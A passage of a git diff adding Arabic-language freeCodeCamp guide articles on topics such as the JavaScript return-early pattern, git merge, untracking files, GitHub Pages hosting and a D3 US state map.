+    *   [.NET Core](https://blogs.msdn.microsoft.com/dotnet/2014/12/04/introducing-net-core/) : هو السعي الأخير من Microsoft إلى التقدم نحو تطوير البرامج مفتوحة المصدر ، [وتقديمها عبر](https://www.nuget.org/) حزم [Nuget](https://www.nuget.org/) . إنهم يعملون مع مجتمع [Mono](http://www.mono-project.com/) ، وهو عبارة عن تنفيذ إطار عمل Microsoft .NET لإنشاء تطبيقات على Windows و Linux و iOS.
+        
+    *   [سيلفرلايت](https://www.microsoft.com/silverlight/) : تهدف في المقام الأول إلى التركيز على المكونات الإضافية لمتصفحات الويب لتوفير الوسائط المتعددة.
+        
+    *   [.NET لتطبيق windows](https://dev.windows.com/en-us/) : يُستخدم لإنشاء تطبيقات Windows 8.x Store باستخدام C #.
+        
+
+## لغة برمجة C #
+
+الخطوة التالية لتعلم لغة برمجة C # .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/the-ooda-loops/index.md b/client/src/guide/arabic/miscellaneous/the-ooda-loops/index.md
new file mode 100644
index 0000000000..1b504db887
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/the-ooda-loops/index.md
@@ -0,0 +1,11 @@
+---
+title: The Ooda Loops
+localeTitle: حلقات اودا
+---
+حلقة OODA تدور حول السرعة التي يمكنك تكرارها. كثيرا ما يشار إليها في دوائر بدء التشغيل العجاف.
+
+![OODA](https://upload.wikimedia.org/wikipedia/commons/3/3a/OODA.Boyd.svg)
+
+## أنظر أيضا
+
+[OODA حلقة](https://en.wikipedia.org/wiki/OODA_loop)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/the-return-early-pattern/index.md b/client/src/guide/arabic/miscellaneous/the-return-early-pattern/index.md
new file mode 100644
index 0000000000..05bc71c498
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/the-return-early-pattern/index.md
@@ -0,0 +1,78 @@
+---
+title: The Return Early Pattern
+localeTitle: نمط العودة المبكر
+---
+نمط عودة في وقت مبكر في جافا سكريبت هو وسيلة بسيطة لتقليل عدد `else` البيانات داخل الجسم وظيفة إلى الصفر. هناك العديد من الأسباب لتفضيل هذا النمط على استخدام `else` البيانات.
+
+*   تقليل إجمالي مقدار الشفرة على الصفحة
+*   تقليل طول الخط عن طريق تقليل التعقيد المنطقي
+*   تحسين قابلية القراءة
+
+جوهر النمط المبكر العودة هو لتحل محل الحاجة إلى `else` الشرطية في وظائف جافا سكريبت باستخدام `return` الكلمة في جسد `if` البيان.
+
+دعونا نخلق وظيفة تتصرف بشكل مختلف في ظل ظروف معينة (ملاحظة: هذا مثال تافه ومبتكر فقط للحصول على هذه النقطة).
+
+ `function willItBlend(someObject) { 
+  var ItWillBlend; 
+ 
+  if (someObject.blendable ==== 'It will blend') { 
+    itWillBlend = true; 
+  } else { 
+    itWillBlend = false; 
+  } 
+ 
+  return itWillBlend; 
+ } 
+` 
+
+على الرغم من أن هذا يبدو قابلاً للقراءة ، فلنقم بإضافة شرط آخر للتحقق من أنه تم استدعاء الدالة بالفعل باستخدام كائن بدلاً من `undefined` .
+
+ `function willItBlend(someObject) { 
+  var itWillBlend; 
+ 
+  if (typeof someObject === 'object') { 
+    if (someObject.blendable ==== 'It will blend') { 
+      itWillBlend = true; 
+    } else { 
+      itWillBlend = false; 
+    } 
+  } else { 
+    itWillBlend = false; 
+  } 
+ 
+  return itWillBlend; 
+ } 
+` 
+
+هذه الوظيفة واضحة واسمها وصفي لكنه يبدو معقدا بلا داع. يمكننا استخدام نمط أوائل العودة إلى زيادة قابلية القراءة وتقليل عدد `else` البيانات؟ دعونا نجربها.
+
+ `function willItBlend(someObject) { 
+  if (typeof someObject !== 'object') { 
+    return false; 
+  } 
+ 
+  if (someObject.blendable !== 'It will blend') { 
+    return false; 
+  } 
+ 
+  return true; 
+ } 
+` 
+
+باستخدام نمط العودة المبكرة ، تمكنا من إزالة جميع عبارات غير ضرورية وجعل وظائفنا الغرض والتوقيع (نوع الحجة التي تتوقعها) أكثر وضوحًا وموجزًا.
+
+### مكافأة: بيان واحد مشروط
+
+يمكننا زيادة إعادة ملء هذه الوظيفة لاستخدام عبارة واحدة فقط. تحقق من ذلك:
+
+ `function willItBlend(someObject) { 
+  if ( 
+    typeof someObject !== 'object' || 
+    someObject.blendable !== 'It will blend' 
+    ) { 
+    return false; 
+  } 
+ 
+  return true; 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/tips-for-your-coding/index.md b/client/src/guide/arabic/miscellaneous/tips-for-your-coding/index.md
new file mode 100644
index 0000000000..02573fc85b
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/tips-for-your-coding/index.md
@@ -0,0 +1,24 @@
+---
+title: Tips for Your Coding
+localeTitle: نصائح لترميزك
+---
+تم إنشاء هذه القائمة من خلال تجميع القضايا والأسئلة الشائعة عند العمل على تحديات الخوارزمية ، وينبغي أن تكون مفيدة بشكل عام.
+
+1.  إذا كنت لا تعرف من أين تبدأ ، فاكتب بعض pseudocode. تخطيط المنطق الذي تحاول تنفيذه بلغتك الأم قبل أن تحاول وضعه في الكود.
+    
+2.  تعليق كودك! لا يمكن أن نؤكد أن واحدا يكفي ، إذا كنت تضيع أو تأخذ استراحة ثم أعود تحتاج إلى معرفة ما تحاول الكود الخاص بك القيام به. كما سيعزز ما يعنيه الرمز لك ، ويساعد الآخرين على فهم ما تفعله شفرتك إذا واجهتك مشكلة وطلب المساعدة. إذا كان لديك أي نصائح أخرى للمشاركين في المعسكر ، فأنا أحب أن أراهم!
+    
+3.  استخدم وحدة التحكم في مصحح أخطاء جافا سكريبت chrome بالتزامن مع شيء مثل NetBeans IDE أو نص سامي لكتابة شفرتك. كلاهما مجاني للتنزيل. يعد محرر التعليمات البرمجية freeCodeCamp أمرًا رائعًا ولكن يمكنك الحصول على مزيد من التعليقات على سلوك الشفرة باستخدام مصحح أخطاء JS **لجهاز chrome وحزمة من console.log (myVariableGoesHere)؛**
+    
+
+المراجع
+
+*   [وحدة تحكم Chrome](https://developer.chrome.com/devtools/docs/console)
+    
+*   [نص سامي](http://www.sublimetext.com/)
+    
+*   [نتبيانس](https://netbeans.org/downloads/)
+    
+    1.  يعد نشر التعليمات البرمجية الخاصة بك في gitter بسيطة مثل إضافة سطر يتكون من 3 backtics \*\* `** then your code in a new line and another line with 3 more backtics.`
+        
+    2.  اطلب المساعدة في gitter! يمكنني أن أتحدث شخصياً للتحديق في مشكلة لساعات ، ثم أرى الحل حالما أحاول شرحه لشخص ما ، أو وجود شخص ما يقول شيئاً مثل "خطأ مطبعي على الخط 6" بمجرد رؤيته.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md b/client/src/guide/arabic/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md
new file mode 100644
index 0000000000..5670449f25
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/transferring-a-heroku-project-between-nonprofit-project-owners/index.md
@@ -0,0 +1,25 @@
+---
+title: Transferring a Heroku Project Between Nonprofit Project Owners
+localeTitle: نقل مشروع Heroku بين مالكي المشروع غير الربحيين
+---
+## Heroku:
+
+بمجرد أن يقوم الشخص الذي سيحصل على تطبيق Heroku بإنشاء حساب Heroku ، اتبع الخطوات الموجودة هنا لنقلها إليهم: [https://devcenter.heroku.com/articles/transferring-apps](https://devcenter.heroku.com/articles/transferring-apps)
+
+## MLAB:
+
+إنشاء حساب "مستخدم" MLAB للشخص الذي تريد نقل قاعدة MLAB الخاصة بك: [http://docs.mlab.com/accounts/#account-users](http://docs.mlab.com/accounts/#account-users)
+
+بعد ذلك سيحتاجون إلى إعادة تعيين امتيازات المشرف إلى الحساب الذي أنشأته للتو: [http://docs.mlab.com/accounts/#re-assign-admin-privileges-admin-only](http://docs.mlab.com/accounts/#re-assign-admin-privileges-admin-only)
+
+## GitHub أو BitBucket
+
+يمكن لمالكي المشروع الجديد إما أن يفرغوا الريبو الحالي أو يمكنك نقل ملكية لهم في جيثب: [https://help.github.com/articles/about-repository-transfers/](https://help.github.com/articles/about-repository-transfers/)
+
+لنقلها في BitBucket: [https://confluence.atlassian.com/bitbucket/change-or-transfer-repository-ownership-289964397.html](https://confluence.atlassian.com/bitbucket/change-or-transfer-repository-ownership-289964397.html)
+
+## تأكد من عدم بقاء أي مفاتيح في سجل Git الخاص بك
+
+إذا كان مشروعك مفتوح المصدر ، فاحرص على إزالة أي مفاتيح (يجب ألا تكون قد ارتكبت في المقام الأول ، ولكن من الأفضل التأخر في إزالتها). فيما يلي كيفية البحث خلال سجل الشفرة الخاصة بك:
+
+إذا عثرت على مفتاح في مكان ما في المستودع الخاص بك ، أو اكتشفت أن ملفًا حساسًا مثل ملف .env كان ملتزمًا بطريقة ما عند نقطة واحدة ، يمكنك إزالته من سجل git الخاص بك مع BFG: [https://help.github.com/articles / إزالة الحساسة البيانات /](https://help.github.com/articles/remove-sensitive-data/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/translate-free-code-camp-to-your-language/index.md b/client/src/guide/arabic/miscellaneous/translate-free-code-camp-to-your-language/index.md
new file mode 100644
index 0000000000..fbe64f3433
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/translate-free-code-camp-to-your-language/index.md
@@ -0,0 +1,8 @@
+---
+title: Translate Free Code Camp to Your Language
+localeTitle: Translate Free Code Camp إلى لغتك
+---
+يتم تشغيل جهد الترجمة لدينا من قبل المعسكر ثنائي اللغة مثلك.
+
+إذا كنت تتحدث لغتين ولديك وقت لمساعدتنا ، فالرجاء الانضمام إلى [قناة gitter](https://gitter.im/FreeCodeCamp/Translators)  
+وقراءة [دليل الترجمة](http://forum.freecodecamp.com/t/guidelines-for-translating-free-code-camp-to-any-language/19111)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/understand-how-to-use-git-merge/index.md b/client/src/guide/arabic/miscellaneous/understand-how-to-use-git-merge/index.md
new file mode 100644
index 0000000000..5eb7759fdb
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/understand-how-to-use-git-merge/index.md
@@ -0,0 +1,70 @@
+---
+title: Understand How to Use Git Merge
+localeTitle: فهم كيفية استخدام Git Merge
+---
+لنفترض أنك تعمل على تطبيق مشابه لـ Reddit ، ولكن خصيصًا لمقتطفات الشفرة. في مثل هذا التطبيق ، من المحتمل أن يكون لديك فرع `master` يحتوي على جميع الميزات التي تم إصدارها ، وهو فرع `dev` قد يحتوي على ميزات تم ترميزها ، ولكن لم يتم تنفيذها بعد. وكل مطور في الفريق خلق له فروع الخاصة قبالة `dev` فرع لالسمات الفردية. ستبدو بنية مستودع التخزين كما يلي:
+
+ `                                  --- Commit 3 --------- dev branch 
+                                / 
+ --- Commit 1 ---- Commit 2 ---------------------------- master branch 
+` 
+
+إذا قررت دمج الالتزام الثالث ( `Commit 3` ) في الفرع `master` من فرع `dev` ، فسيكون الأمر بسيطا مثل تشغيل أمر `git merge` لأن فرع `dev` _محدث_ مع الفرع `master` : كل توجد الإلتزامات في الفرع `master` في فرع `dev` . يمكنك دمج الفروع عن طريق تشغيل الأوامر التالية:
+
+ `git checkout dev 
+ git merge master 
+` 
+
+ستكون النتيجة شيء من هذا القبيل:
+
+ `                                               --------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------- master branch 
+` 
+
+الآن قررت أن تعمل على ميزة المصادقة. للعمل على ميزة المصادقة ، تقوم بإنشاء فرع آخر يستند إلى فرع `dev` وتقرر استدعاء `auth` . هذا ما يبدو عليه هيكل الريبو:
+
+ `                                                  ------ auth branch 
+                                                / 
+                                               --------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------- master branch 
+` 
+
+إذا كنت سترتكب أي تغييرات على فرع `auth` ، فإن دمجها مع فرع `dev` سيكون بسيطًا لأنه مُحدّث مع فرع `dev` . الآن بينما كنت تعمل بعيداً عن ميزة المصادقة ، انتهى أحد المطورين بتشفير ميزة تمييز الجملة ، وقرر دمجها مع فرع `dev` . يبدو الريبو مثل هذا الآن:
+
+ `                                                  --- Commit 5 --- auth branch 
+                                                / 
+                                               --- Commit 4 ------ dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 ------------------------ master branch 
+` 
+
+فرعك ، في مصطلحات Git ، هو الآن ارتكاب وراء فرع `dev` . هذا يعني أنه لا يمكنك ببساطة دمج الفرعين: يجب عليك إحضار فرع `auth` الخاص بك محدثة مع فرع `dev` . ويمكن القيام بذلك مع `git merge` !
+
+إن دمج فرع `auth` فرع مع فرع `dev` ، أو فرع `dev` مع الفرع `master` مباشرة و يفعل ما تتوقع ، لكن دمج الطريقة الأخرى لديه خصوصياته الخاصة التي ليست بديهية عند أول استحالة. يمكنني أن أتحدث عن ذلك ، أو يمكنني أن أرشدك إلى رسم تخطيطي آخر لما يمكن أن يحدث إذا قمت بدمج فرع `dev` مع فرع `auth` في هذه اللحظة:
+
+ `                                                  --- Commit 5 ----------- auth branch 
+                                                /               / 
+                                               --- Commit 4 -------------- dev branch 
+                                             / 
+ --- Commit 1 ---- Commit 2 ---- Commit 3 -------------------------------- master branch 
+` 
+
+ترى ما فعلت هناك؟ انظر إلى الرسم البياني لثانية واحدة وحاول أن تفهم ما يحدث هنا قبل الانتقال. أنت ارتكبت أساسا ارتكاب آخر لفرع `auth` مع الإلتزامات في فرع `dev` المدرجة. لكن هذا كل الحق ، أليس كذلك؟ بعد كل شيء، في نهاية اليوم كنت أريد أن أحمل بلدي `auth` فرع ما يصل إلى موعد مع `dev` فرع، والآن _هو_ ما يصل إلى التاريخ؟ نعم. ولكن دعني أوضح لك رسمًا بيانيًا لتوضيح ما يوضحه الرسم البياني الآخر: يبدو فرع `auth` الآن كما يلي:
+
+ `    --- Commit 5 ------- Commit 4 ------- auth branch 
+  /                / 
+ ------ Commit 4 --- --------------------- dev branch 
+` 
+
+انظر اليه الان؟ قمت _بنسخ_ الالتزام أكثر. إذا كنت ستندمج مع فرع `dev` الآن ، فسيبدو الأمر كالتالي:
+
+ `    --- Commit 5 ------- Commit 4 -------------------------------------- auth branch 
+  /                /                  \ 
+ ------- Commit 4 ----------------------- Commit 5 ---- Commit 4 -------- dev branch 
+` 
+
+قمت بدمج نفس الالتزام مرتين! هذا بالطبع لن يكون له أي تداعيات على شفرتك بنفسك ، ولكن إذا قررت يومًا ما أن تنظر إلى `git logs` الخاصة بك ، فسوف ندرك على الفور كيف يكون تاريخ git الخاص بك قذرًا ، مع بعض الالتزامات التي يتم إجراؤها مرارًا وتكرارًا. إذا أردت الرجوع إلى التزام ، فسيكون من الصعب جدًا تحديد الالتزام بالالتزام.
+
+يفضل استخدام [Git-Rebase](http://forum.freecodecamp.com/t/how-to-use-git-rebase/13226) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md b/client/src/guide/arabic/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md
new file mode 100644
index 0000000000..ae25dab227
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/untrack-files-previously-committed-from-new-gitignore/index.md
@@ -0,0 +1,23 @@
+---
+title: Untrack Files Previously Committed from New Gitignore
+localeTitle: ملفات Untrack سابقاً من New Gitignore
+---
+لإلغاء تعقب ملف _واحد_ ، أي توقف عن تتبع الملف دون حذفه من استخدام النظام:
+
+`git rm --cached filename`
+
+لuntrack _كل_ ملف في `.gitignore` :
+
+أولاً ، **ارتكب** أي تغييرات معلقة في التعليمات البرمجية ، ثم قم بتشغيل:
+
+`git rm -r --cached`
+
+يؤدي ذلك إلى إزالة أي ملفات تم تغييرها من الفهرس (منطقة التدريج) ، ثم تشغيل:
+
+`git add .`
+
+الالتزام بها:
+
+`git commit -m ".gitignore is now working"`
+
+للتراجع عن `git rm --cached filename` ، استخدم `git add filename`
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/us-state-map-visualization-using-d3js/index.md b/client/src/guide/arabic/miscellaneous/us-state-map-visualization-using-d3js/index.md
new file mode 100644
index 0000000000..a79d592a51
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/us-state-map-visualization-using-d3js/index.md
@@ -0,0 +1,61 @@
+---
+title: Us State Map Visualization Using D3js
+localeTitle: لنا خريطة الدولة التصور باستخدام D3js
+---
+![لقطة شاشة 2016-05-19 في 6 29 43 pm](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a4a31935c10185c660c713ba7651a30e0a11f1e8.png)
+
+## شرح المشروع:
+
+**لدينا بيانات نموذجية عن الولايات المتحدة:** عدد الحوادث الخطيرة المبلغ عنها لكل ولاية في الولايات المتحدة.
+
+_لدينا هذه البيانات في ثلاث فئات:_ أقل رقم مسجل للشهر ، متوسط ​​الحوادث المبلغ عنها في السنة ، وأعلاها عدد في الشهر ، كما هو موضح في بيانات العينة أدناه.
+
+نريد رسم خريطة الولايات المتحدة وتصور هذه البيانات بحيث أنه عند تمرير الماوس فوق الحالة ، يجب أن تعرض هذه البيانات لهذه الحالة المحددة.
+
+## بيانات العينة:
+
+`AZ: 13 41 57`
+
+`CA: 41 60 81`
+
+`NY: 6 35 54` وهلم جرا.
+
+## تلميحات وموارد:
+
+### تعليمات خطوه بخطوه:
+
+*   أولاً ، سنحتاج إلى إنشاء خريطة للولايات المتحدة.
+    
+    1.  يمكنك إما إنشاء خريطة من الصفر باستخدام مصادر مثل - [Stately.](https://intridea.github.io/stately/)
+        
+    2.  احصل على خريطة تم إنشاؤها بالفعل من [freehtml5maps](http://freehtml5maps.com) أو استخدم [Javascript](http://bl.ocks.org/NPashaP/raw/a74faf20b492ad377312/3513ad985b2fa93ea35f2fc864cb30540c298171/uStates.js) هذا
+        
+*   أضف خريطتك إلى javascript الرئيسي المستخدم للتصور
+    
+
+على سبيل المثال ، `(script src="uStates.js")(/script) (!-- creates uStates. --)`
+
+*   أنشئ علامة Div لتعليق تلميحات الأدوات وإنشاء ملف SVG ليحفظك على الخريطة.
+
+فمثلا،
+
+`javascript (div id="tooltip")(/div) (svg width="960" height="600" id="statesvg")(/svg)`
+
+*   إنشاء وظيفة Tooltip لإنشاء سلسلة محتوى HTML في div تلميح الأدوات.
+
+ستقوم وظيفة تلميح الأدوات هذه بعرض جدول وسيتم عرض هذا الجدول عندما نقوم بتمرير الماوس فوق الحالة يجب أن يكون هذا الجدول شيئًا كهذا (كما هو موضح في الشكل الأول): أريزونا منخفض 13 متوسط ​​41 عال 57
+
+*   ارسم الحالات على id (#statesvg في مثالنا) مع وظيفة البيانات و tooltip.
+
+على سبيل المثال ، `uStates.draw("#statesvg", sampleData, tooltipFunc);`
+
+**سيكون الناتج النهائي شيئًا كالتالي: (حلق الماوس فوق كاليفورنيا)**
+
+![لقطة شاشة 2016-05-19 في 6 37 57 م](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2c17548386b8591d84ac8f2541fecd8d68e7365c.png)
+
+## المراجع:
+
+1.  [**D3.js**](https://d3js.org) الأمثلة والوثائق.
+2.  [**NPashaP جيثب**](https://github.com/NPashaP)
+3.  [**فخم**](https://intridea.github.io/stately/)
+4.  [**FreeHTML5Maps**](http://freehtml5maps.com)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md b/client/src/guide/arabic/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md
new file mode 100644
index 0000000000..ea0e2389a1
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/use-github-static-pages-to-host-your-front-end-projects/index.md
@@ -0,0 +1,93 @@
+---
+title: Use Github Static Pages to Host Your Front End Projects
+localeTitle: استخدم Gitub Static Pages لاستضافة مشاريع الواجهة الأمامية
+---
+**فوائد**
+
+أنا أحب Codepen.io ، إنها أداة رائعة وسهلة الاستخدام لتجربة أمامية بسيطة. ولكن مع ازدياد تعقيد مشاريع لجنة التنسيق الفيدرالية ، أدركت أن الترميز محليًا سيوفر لي مجموعة من الصداع. محرر النص الخاص بي و [combkit](https://incident57.com/codekit/) هي فقط [waaay](https://incident57.com/codekit/) أسرع.
+
+*   الإكمال التلقائي
+*   قم بتجميع كل شيء (كان codepen يسحب بالفعل في محاولة لتجميع Jade)
+*   تحديث تلقائي أفضل
+*   بنيت في كوخ
+*   إصدار Git
+*   تحسين تجربة العقارات الشاشة
+
+## جيت إلى جيثب
+
+نظرًا لأنني حفظ بالفعل محليًا ، وباستخدام git للتحكم في الإصدار ، فقد أحسست أيضًا بتحميله إلى Github. بالإضافة إلى ذلك ، لدى Github خدمة رائعة مجانية لمشاريع الواجهة الأمامية التي تسمى [Github Pages](https://pages.github.com/) . مجرد تحديث الريبو الخاص بك والتغييرات الخاصة بك على الهواء مباشرة.
+
+كيف يعمل بسيط. يتحقق Github مما إذا كان لدى المستودع فرع يسمى `gh-pages` ويخدم أي رمز يجلس في هذا الفرع. لا توجد أشياء خلفية هنا ، ولكن HTML و CSS و JS تعمل مثل السحر.
+
+## اهم الاشياء اولا
+
+دعونا نجعل مجلد جديد لمشروعك. [سأستخدم](http://www.freecodecamp.com/challenges/stylize-stories-on-camper-news) مشروع [Camper News](http://www.freecodecamp.com/challenges/stylize-stories-on-camper-news) كمثال لي.
+
+حصلت على دليل عملك وجعل واحدة جديدة. يمكنك القيام بذلك في المحطة (أو لا).
+
+![دليل المشروع](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2e3faaa2752657c592a9991ceed29a0200f332e6.png)
+
+الآن ، انتقل إلى دليل المشروع ، و (بالتأكيد في المحطة الطرفية هذه المرة) استخدم الأمر `git init` . ملاحظة ، يفترض هذا البرنامج التعليمي [لديك git مثبتة](https://git-scm.com/book/en/v2/Getting-Started-Installing-Git) .
+
+حسنًا ، رائع. نحن الآن على استعداد للعمل.
+
+## الخطوات التالية
+
+قم بإنشاء بعض الملفات في دليل campNews الخاص بك. لا أعلم ، ربما index.html وربما app.css و app.js ، أو أيًا من اصطلاحات التسمية التي تفضلها. ضع التعليمات البرمجية الخاصة بك في هذه الملفات. حسنًا ، نحن الآن جاهزون لالتزامنا الأول. يستغرق **خطوتين** .
+
+1.  سوف `git add -A` الإعدادية كل هذه الملفات الجديدة والرمز الجديد داخلها
+2.  `git commit -m 'relevant message'` بكل العمل الذي قمت به للفرع الذي تتواجد فيه حاليًا ("master" بشكل افتراضي)
+
+## المفتاح لهذا الأمر كله
+
+حسنا ، حتى الآن ما زلنا المحلية. هناك بعض الأشياء التي يجب فعلها لأخذ عملنا وتحريكه إلى جيثب. في هذه المرحلة ، أحب تبديل الفروع. تذكر - github يخدم فقط من صفحات gh ، وإذا كنت قد تبعت حتى الآن ، يسمى فرعك "الرئيسي". دعونا نجعل فرع جديد من صفحات gh (محلية).
+
+ستقوم `git checkout -b gh-pages` بإنشائه ، قم بنسخ كل الأعمال من الرئيسية إلى صفحات gh وقم بتحويلي إلى الفرع. تفو.
+
+سيتخلص `git branch -d master` من الفرع الرئيسي. يبدو مجنونا وأنا أعلم ، ولكن ماذا نحتاج إليه؟ ما عليك سوى التفكير في صفحات gh باعتبارها الفرع الرئيسي الجديد.
+
+الآن ، `git add -A` و `git commit -m 'relevant message'` مرة أخرى ، فقط في حالة. وكن مستعدًا لمغادرة المحرر والمطاريف والدخول إلى الإنترنت لأول مرة.
+
+الذهاب إلى ملفك الشخصي github وإنشاء الريبو الجديد. سمّها شيئًا ملائمًا ، مثل campNews.
+
+![ريبو جديد](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3f113af87b94fcd649c78d5f6d36463795671e7b.png)
+
+بمجرد إنشائه ، ادخل وأمسك عنوان URL لنسخ HTTPS. (تجاهل الملفات في لقطة الشاشة الخاصة بي ، سيكون الريبو الخاص بك فارغًا في هذه المرحلة).
+
+![استنساخ رابط](//discourse-user-assets.s3.amazonaws.com/original/2X/a/a0f3da26ba0802342d7d6f7890763a2bca32b62a.png)
+
+## ضع كل شيء معا
+
+ويمكنك ترك العالم عبر الإنترنت. العودة إلى المحطة! دعونا ربط مشروعنا المحلي لهذا الريبو جيثب. كل ما يتطلبه الأمر هو أمر واحد.
+
+`git remote add origin <server>` فقط استبدل الخادم بعنوان URL HTTPS الذي نسخته للتو. لذا تبدو قيادتي هكذا:
+
+`git remote add origin https://github.com/gkobilansky/campNews.git` .
+
+حسنًا ، لقد قمنا حتى الآن بما يلي:
+
+1.  خلق مشروعنا
+2.  إصدارها في بوابة
+3.  ارتكز بعض التغييرات
+4.  حولته إلى فرع "gh-pages"
+5.  توصيله إلى جيثب
+
+## اخر خطوة!
+
+دفع لك مشروع لجيثب. مرة أخرى ، بسيطة:
+
+`git push origin gh-pages`
+
+سيتأكد هذا الأمر من تحميل آخر تعهدات لك إلى github. بمجرد الانتهاء من ذلك مرة واحدة على الأقل ، يجب أن يكون مشروعك متاحًا http: // _username_ .github.io / _repository_ ، لذلك بالنسبة لي فهو [http://gkobilansky.github.io/campNews](http://gkobilansky.github.io/campNews) .
+
+بمجرد الانتهاء من كل هذا ، فإن العملية تكرر نفسها فقط:
+
+1.  `git add -A`
+2.  `git commit -m 'relevant message'`
+3.  `git push origin gh-pages`
+
+منحني ، منحنى التعلم أكثر انسيابية من codepen.io ، ولكن أسرع وأكثر مرونة بمجرد الحصول على تعليق منه.
+
+الترميز سعيدة!
+
+PS. بفضل [هذا الدليل من](http://rogerdudler.github.io/git-guide/) قبل روجر دادلر للحفاظ على الأمور بسيطة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/using-angular-js-for-the-back-end-projects/index.md b/client/src/guide/arabic/miscellaneous/using-angular-js-for-the-back-end-projects/index.md
new file mode 100644
index 0000000000..bae22293cd
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/using-angular-js-for-the-back-end-projects/index.md
@@ -0,0 +1,34 @@
+---
+title: Using AngularJS for the Back End Projects
+localeTitle: استخدام AngularJS لمشاريع النهاية الخلفية
+---
+هنا سوف تجد المقالات التي سوف تساعدك على تعلم المزيد واستكمال مشاريعك الخلفية.
+
+## جدول المحتويات
+
+*   الجزء 1: الواجهة الأمامية
+    
+    *   [هيكل ملف الواجهة الأمامية](https://guide.freecodecamp.org/miscellaneous/front-end-file-structure)
+    *   [خلق طريق جديد](https://guide.freecodecamp.org/miscellaneous/create-a-new-route-in-angular)
+    *   [إنشاء توجيه جديد](https://guide.freecodecamp.org/miscellaneous/creating-a-new-directive-in-angular)
+    *   [الناخر](https://guide.freecodecamp.org/miscellaneous/what-is-grunt)
+*   الجزء الثاني: الخلفية
+    
+    *   [بنية الملف الخلفي](https://guide.freecodecamp.org/miscellaneous/backend-file-structures-in-angular)
+    *   [إنشاء نقطة نهاية API جديدة](https://guide.freecodecamp.org/miscellaneous/create-a-new-api-endpoint-in-angular)
+    *   [تحديد الصادرات](https://guide.freecodecamp.org/miscellaneous/fixing-exportsupdate-in-angular)
+*   الجزء 3: التواصل بين الواجهة الأمامية والخلفية
+    
+    *   [الوصول إلى قاعدة البيانات من الواجهة الأمامية الخاصة بك](https://guide.freecodecamp.org/miscellaneous/accessing-the-database-from-your-front-end)
+    *   [بيانات البذور](https://guide.freecodecamp.org/miscellaneous/seed-data-in-angular)
+    *   [نصيحة سريعة: احتفظ بالبيانات متزامنة](https://guide.freecodecamp.org/miscellaneous/keep-data-in-sync-in-angular)
+*   الجزء 4: عناوين URL الديناميكية باستخدام $ routeParams ، واجهات برمجة تطبيقات أكثر فائدة
+    
+    *   [Dynamic URLS using $ routeParams](https://guide.freecodecamp.org/miscellaneous/dynamic-urls-using-routeparams-in-angular)
+    *   [المزيد من API مفيدة](https://guide.freecodecamp.org/miscellaneous/make-useful-apis-in-angularjs)
+*   الجزء 5: Auth، JS-IsLoggedInAsync
+    
+    *   [الحصول على معلومات حول المستخدم الحالي](https://guide.freecodecamp.org/miscellaneous/get-information-about-the-current-user-in-angularjs)
+    *   [تقييد صفحة لمستخدمين تمت مصادقتهم](https://guide.freecodecamp.org/miscellaneous/restrict-access-to-authenticated-users-only)
+    *   JS-IsLoggedInAsync
+*   [مكافأة: SocketIO](https://guide.freecodecamp.org/miscellaneous/angular-socketio)
\ No newline at end of file
diff --git a/client/src/guide/arabic/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md b/client/src/guide/arabic/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md
new file mode 100644
index 0000000000..5d549ff53f
--- /dev/null
+++ b/client/src/guide/arabic/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md
@@ -0,0 +1,359 @@
+---
+title: Using Arrayprototypereduce to Reduce Conceptual Boilerplate for Problems on Arrays
+localeTitle: استخدام Arrayprototypereduce لخفض Boilerplate المفاهيمي لمشاكل على صفائف
+---
+هذا تماما الفم! يمكن أن يكون قد تم للتو بعنوان **استخدام `Array.prototype.reduce()` لحل مشاكل صفيف بسهولة** أو **`Array.prototype.reduce()` FTW!** . كان من الأسهل قراءة هذا الأمر وتحليله.
+
+لكنه لم يكن. الحلقات في JavaScript هي مثل ذلك. فهي ليست مقتضبة ، فهي تجعلك تتفوق على الأدغال لفترة من الوقت. كما تذهب النكتة ، هناك شيئان أكثر صعوبة في علوم الكمبيوتر - [إبطال ذاكرة التخزين المؤقت](https://en.wikipedia.org/wiki/Cache_invalidation) [وتسمية الأشياء](https://www.quora.com/Why-is-naming-things-hard-in-computer-science-and-how-can-it-can-be-made-easier) [وخطأ واحد تلو الآخر](https://en.wikipedia.org/wiki/Off-by-one_error) .
+
